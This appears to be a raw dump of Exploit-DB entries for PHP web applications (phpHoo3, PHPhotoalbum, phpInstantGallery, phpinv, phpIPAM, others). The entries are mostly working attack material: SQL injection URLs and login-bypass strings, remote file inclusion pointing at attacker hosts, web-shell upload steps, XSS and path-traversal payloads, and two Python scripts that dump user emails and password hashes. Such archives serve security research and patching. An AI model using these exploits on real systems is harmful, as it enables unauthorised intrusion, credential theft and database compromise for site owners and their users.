deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6091
Description: PHPHoo3 < 5.2.6 - 'viewCat' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-17
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## phpHoo3 V[ 4.4.8 - 4.3.9 - 4.3.10 - 5.2.6 -] ( phpHoo3.php viewCat )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRiAN Arab HACkErS
########################
########################
##
## -[[: Exploites for versions :]]-
##
## [[ V4.4.8 ]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,CONVERT(CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())+using+latin1),0,0,0,0,0--
## [[ V4.3.9 ]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,user(),@@version,0,0,0,0,0--
## [[ V4.3.10]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())--
## [[ V5.2.6 ]] www.Target.com/phpHoo/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())--
##
########################
########################
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-17]
Exploit-DB #30391
Description: PHPHostBot 1.05 - 'Authorize.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-26
Author: S4M3K

Exploit:
source: https://www.securityfocus.com/bid/25073/info

PhpHostBot is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/library/authorize.php?login_form=http://evilcode?
Exploit-DB #10584
Description: PHPhotoalbum - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-21
Author: wlhaan hacker

Exploit:
      ||          ||   | ||
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   .
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> team wlhaan hacker                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
==========================================================================

~ Script Name : PHPhotoalbum)
~ Language : php
~
~ email: iit@hotmail.com
~
============================================================

Dork : Powered By PHPhotoalbum

or
inurl:"PHPhotoalbum-upload.php"



============================================================
Exploit :



http://{server/script path/upload.php

chang shell

shell.php.pgif
or
shell.php.pjpeg

go to shell

http://server/script path/albums/userpics/shell.php.pgif

============================================================

thank you for

shooq hacker
============================================================

www.sa-hacker.com/vb
============================================================
Exploit-DB #5683
Description: PHPhotoalbum 0.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-28
Author: cOndemned

Exploit:
###############################################################################
#
#   Name   : PHPhotoalbum v0.5 Multiple Remote SQL Injection Vulnerabilities
#   Author : cOndemned
#   Dork   : intext:PHPhotoalbum v0.5
#   Greetz : ZaBeaTy, str0ke, TBH, Hawk, doctor, Sandtalker, Avantura ;**
#
###############################################################################

Proof of Concept : 

    http://[host]/[path]/thumbnails.php?album=-1+union+select+concat_ws(0x10,now(),version(),user(),database())/*
    
    http://[host]/[path]/displayimage.php?pid=-1+union+select+1,2,3,now(),version(),user()/*

    
###############################################################################
#
# Together we stand tall, Not gonna crash, not gonna fall - Children of Bodom
#
###############################################################################

# milw0rm.com [2008-05-28]
Exploit-DB #10590
Description: PHPhotoalbum 0.5 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-21
Author: Stack

Exploit:
# Title: PHPhotoalbum Remote sql injection Vulnerability
# Tested on: windows

http://server/PHPhotoalbum/thumbnails.php?album=-1+union+select+user+from+mysql.user--



http://server/PHPhotoalbum/thumbnails.php?album=-1+union+select+load_file(/directory hex/config.inc.php)+from+mysql.user--
Exploit-DB #32499
Description: PHPhotoGallery 0.92 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-21
Author: KnocKout

Exploit:
source: https://www.securityfocus.com/bid/31850/info

phPhotoGallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phPhotoGallery 0.92 is affected; other versions may also be vulnerable. 

Username : ' or 1=1/*Password : ' or 1=1/*
Exploit-DB #37307
Description: PHPhq.Net phAlbum 1.5.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-21
Author: Eyup CELIK

Exploit:
source: https://www.securityfocus.com/bid/53648/info

phAlbum is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

phAlbum 1.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/demos/phAlbum/index.php/%F6%22%20onmouseover=document.write%28%22index.html%22%29%20//
Exploit-DB #2526
Description: PHPht Topsites - 'common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-12
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

phpht Topsites (phpht_real_path) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

www.xoron.biz - www.xoron.info

Ne mutlu Türküm Diyene..!

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

URL:
http://www.linkini.net/phpscripts/descargas/Top%20Sites%20(8%20Archivos)/PHPht%20Topsites.zip

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:


include($phpht_real_path . 'config.'.$phpEx);
include($phpht_real_path . 'includes/db.'.$phpEx);
include($phpht_real_path . 'includes/Template.'.$phpEx);
include($phpht_real_path . 'language/lang_english/lang_main.'.$phpEx);


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/common.php?phpht_real_path=http://sh3LL?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: chaos, nukedx, OG, Preddy, Ironfist, SHiKaA, ERNE :)
Special: Str0ke

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-12]
Exploit-DB #11486
Description: PHPIDS 0.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-02-17
Author: eidelweiss

Exploit:
###########################################################
###									#
### 		PHPIDS 0.4 - Remote File Inclusion Vulnerability			#
###									#
###########################################################
###	
###	* @package	  PHPIDS
###	* @Version 	  0.4
###	* @license	  http://www.gnu.org/licenses/lgpl.html LGP
###	* @link		  http://php-ids.org/	
###
###########################################################
###
###	Type :	Remote File Inclusion Vulnerability
###	Author:	eidelweiss
###	Date  :	2010-02-08
###	Location:	Indonesia ( http://yogyacarderlink.web.id )
###	Contact:	g1xsystem [at] windowslive [dot] com
###
###########################################################
###
###	Vuln:	require_once 'IDS/Init.php'
###
###		if (version_compare(phpversion(), '5.1.6', '>=')) {
###			set_include_path (
###				get_include_path()
###				. PATH_SEPARATOR
###				. BX_DIRECTORY_PATH_PLUGINS . 'phpids/'
###
###		include_once 'IDS/Monitor.php';
###		include_once 'IDS/Filter/Storage.php';
###		if ($configPath) {
###			$this->setConfigPath($configPath);
###			$this->config = parse_ini_file($this->configPath, true);
###	=========================================================
###	Exploit: http://victim.com/[PHPIDS_path]/IDS/Init.php?path=[Shell.txt?]
###########################################################
###									#
###	Greetz : AL-MARHUM - YOGYACARDERLINK TEAM - (D)eal(C)yber		#
###									#
###########################################################
Exploit-DB #33445
Description: PHPInstantGallery 1.1 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37502/info

phpInstantGallery is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpInstantGallery 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/instantgallery/admin.php/>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
Exploit-DB #31779
Description: PHPInstantGallery 2.0 - 'image.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29152/info
 
phpInstantGallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/phpInstantGallery/image.php?gallery=1&imgnum=[XSS]
http://www.example.com/phpInstantGallery/image.php?gallery=[XSS]
Exploit-DB #31778
Description: PHPInstantGallery 2.0 - 'index.php?Gallery' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-12
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29152/info

phpInstantGallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/phpInstantGallery/index.php?gallery=[XSS]
Exploit-DB #5754
Description: phpinv 0.8.0 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-08
Author: CWH Underground

Exploit:
=========================================================
 PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities
=========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 8 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : PHPInv
 VERSION     : 0.8.0
 DOWNLOAD    : http://sourceforge.net/projects/phpinv
#####################################################

---LFI---

##############################################
Vulnerable: entry.php (?action=)

43:	if (isset($action) & !isset($noconfirm)) {
44:		include("inc/entry_$action.php");
45:	}

###############################################

---Description---

   Use Web Proxy (Web Scarab, Burb Proxy, etc...) to intercept URI -> 
http://[target]/[phpinv_path]/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=test

   Then You can change detail in GET request for this URI, Example

[-]GET http://192.168.1.103:80/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../phpinfo HTTP/1.1
[-]Accept: */*
[-]User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[-]Host: 192.168.1.103
[-]Connection: Close
[-]Pragma: no-cache

   Now you can see phpinfo.php in PHPInv page...  :) 

Tip!! http://192.168.1.103:80/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../etc/passwd%00 HTTP/1.1


---XSS---

[+]search.php (keyword)

GET http://192.168.1.103:80/phpinv/search.php?hash=19e9abf204087d0765f81c5bfb1a6fef&keyword=>"><script>alert(123);</script>&categoryid=1&action=Search HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.1.103
Connection: Close
Pragma: no-cache


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-08]
Exploit-DB #4990
Description: phpIP 4.3.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-01-26
Author: Charles Hooper

Exploit:
There exist numerous SQL injection vulnerabilities in phpIP 4.3.2, and
probably previous versions. Most of the data obtained from the request
variables ($_GET, $_POST, $_COOKIE, etc) is not sanitized before it is
passed to MySQL. This may result in un-authorized administrative
access to phpIp and read-access to the database, among other things.

One such vulnerability allows an attacker to gain administrative
access to the application, this does not require the attacker to
already have access to an existing user account.

Proof of concept:
Go to the phpIP login page and enter a valid username ('phpip'
typically works, if not try 'admin') with the following password:

a') UNION SELECT 1,1,'Administrator',1,1,1,1,1 #

At this point you will be logged in as an Administrator with the
supplied username.

There is also the risk of information disclosure through another SQL
injection vulnerability found in display.php. The following PoC
demonstrates a query that will echo a userid, username, MD5-hashed
password, and email address to the page. You must be logged in to take
advantage of this vulnerability (see above.)

Proof of concept:
http(s)://path/to/phpip/display.php?range=view&id=0%20UNION%20SELECT%20null,null,null,null,null,null,uid,username,password,email,null,null,null,null,null,null,null,null,null,null%20%20FROM%20users--&iprange=0&netid=0

# milw0rm.com [2008-01-26]
Exploit-DB #47438
Description: phpIPAM 1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2019-09-30
Author: Kevin Kirsche

Exploit:
#!/usr/bin/env python3
# Exploit Title: phpIPAM Custom Field Filter SQL Injection
# Exploit Announcement Date: September 16, 2019 5:18 AM
# Exploit Creation Date: September 27, 2019
# Exploit Author: Kevin Kirsche
# Vendor Homepage: https://phpipam.net
# Software Link: https://github.com/phpipam/phpipam/archive/1.4.tar.gz
# Version: 1.4
# Tested on: Ubuntu 18.04 / MariaDB 10.4
# Requires:
#   Python 3
#   requests package
# CVE: CVE-2019-16692

# For more details, view:
# https://github.com/phpipam/phpipam/issues/2738
# https://github.com/kkirsche/CVE-2019-16692

# Example Output
# [+] Executing select user()
# [*] Received: phpipam@172.18.0.4
# [+] Executing select system_user()
# [*] Received: phpipam@172.18.0.4
# [+] Executing select @@version
# [*] Received: .4.8-MariaDB-1:10.4.8+maria~b
# [+] Executing select @@datadir
# [*] Received: /var/lib/mysq
# [+] Executing select @@hostname
# [*] Received: ubuntu


from requests import Session

host = "localhost"
login_url = f"http://{host}/app/login/login_check.php"
exploit_url = f"http://{host}/app/admin/custom-fields/filter-result.php"

credentials = {
    "ipamusername": "Admin",
    "ipampassword": "Password",
}

payload = {
    "action": "add",
    "table": "",
}


cmds = {
    "unpriv": [
        "select user()",
        "select system_user()",
        "select @@version",
        "select @@datadir",
        "select @@hostname",
    ]
}

if __name__ == "__main__":
    client = Session()
    resp = client.post(login_url, data=credentials)
    if resp.status_code == 200:
        for cmd in cmds["unpriv"]:
            print(f"[+] Executing {cmd}")
            payload["table"] = f"users`where 1=(updatexml(1,concat(0x3a,({cmd})),1))#`"
            resp = client.post(exploit_url, data=payload)
            info = resp.text.lstrip("<div class='alert alert-danger'>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ':").rstrip("'</div><div class='alert alert-success'>Filter saved</div>")
            print(f"[*] Received: {info}")
Exploit-DB #52453
Description: phpIPAM 1.4 - SQL-Injection
Type: webapps
Platform: php
Date: 2025-12-03
Author: CodeSecLab

Exploit:
# Exploit Title: phpIPAM 1.4 - SQL Injection 
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/phpipam/phpipam/
# Software Link: https://github.com/phpipam/phpipam/
# Version: 1.4
# Tested on: Windows
# CVE : CVE-2019-16693


Proof Of Concept
# Ensure you have a valid user session before executing the PoC.

POST /app/admin/custom-fields/order.php HTTP/1.1
Host: phpipam
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_session_id>

table=test_table%60+UNION+SELECT+1%2C2%2C3+--+&current=non-empty&next=non-empty&action=add


Steps to Reproduce
1. Login as an admin user.
2. Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie.
3. Observe the result
Exploit-DB #50684
Description: PHPIPAM 1.4.4 - SQLi (Authenticated)
Type: webapps
Platform: php
Date: 2022-01-25
Author: Rodolfo Tavares

Exploit:
# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)
# Google Dork: [if applicable]
# Date: 20/01/2022
# Exploit Author: Rodolfo "Inc0gbyt3" Tavares
# Vendor Homepage: https://github.com/phpipam/phpipam
# Software Link: https://github.com/phpipam/phpipam
# Version: 1.4.4
# Tested on: Linux/Windows
# CVE : CVE-2022-23046

import requests
import sys
import argparse

################
"""
Author of exploit: Rodolfo 'Inc0gbyt3' Tavares
CVE: CVE-2022-23046
Type: SQL Injection

Usage:

$ python3 -m pip install requests
$ python3 exploit.py -u http://localhost:8082 -U <admin> -P <password>
"""
###############

__author__ = "Inc0gbyt3"

menu = argparse.ArgumentParser(description="[+] Exploit for PHPIPAM Version: 1.4.4 Authenticated SQL Injection\n CVE-2022-23046")
menu.add_argument("-u", "--url", help="[+] URL of target, example: https://phpipam.target.com", type=str)
menu.add_argument("-U", "--user", help="[+] Username", type=str)
menu.add_argument("-P", "--password", help="[+] Password", type=str)
args = menu.parse_args()

if len(sys.argv) < 3:
    menu.print_help()

target = args.url
user = args.user
password = args.password


def get_token():
    u = f"{target}/app/login/login_check.php"

    try:
        r = requests.post(u, verify=False, timeout=10, headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}, data={"ipamusername":user, "ipampassword":password})
        headers = r.headers['Set-Cookie']
        headers_string = headers.split(';')
        for s in headers_string:
            if "phpipam" in s and "," in s: # double same cookie Check LoL
                cookie = s.strip(',').lstrip()
                return cookie
    except Exception as e:
        print(f"[+] {e}")


def exploit_sqli():
    cookie = get_token()
    xpl = f"{target}/app/admin/routing/edit-bgp-mapping-search.php"
    data = {
        "subnet":'pwn"union select(select concat(@:=0x3a,(select+count(*) from(users)where(@:=concat(@,email,0x3a,password,"0x3a",2fa))),@)),2,3,user() -- -', # dios query dump all :)
        "bgp_id":1
    }

    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "Cookie": cookie
    }

    try:
        r = requests.post(xpl, verify=False, timeout=10, headers=headers, data=data)
        if "admin" in r.text or "rounds" in r.text:
            print("[+] Vulnerable..\n\n")
            print(f"> Users and hash passwords: \n\n{r.text}")
            print("\n\n> DONE <")
    except Exception as e:
        print(f"[-] {e}")



if __name__ == '__main__':
    exploit_sqli()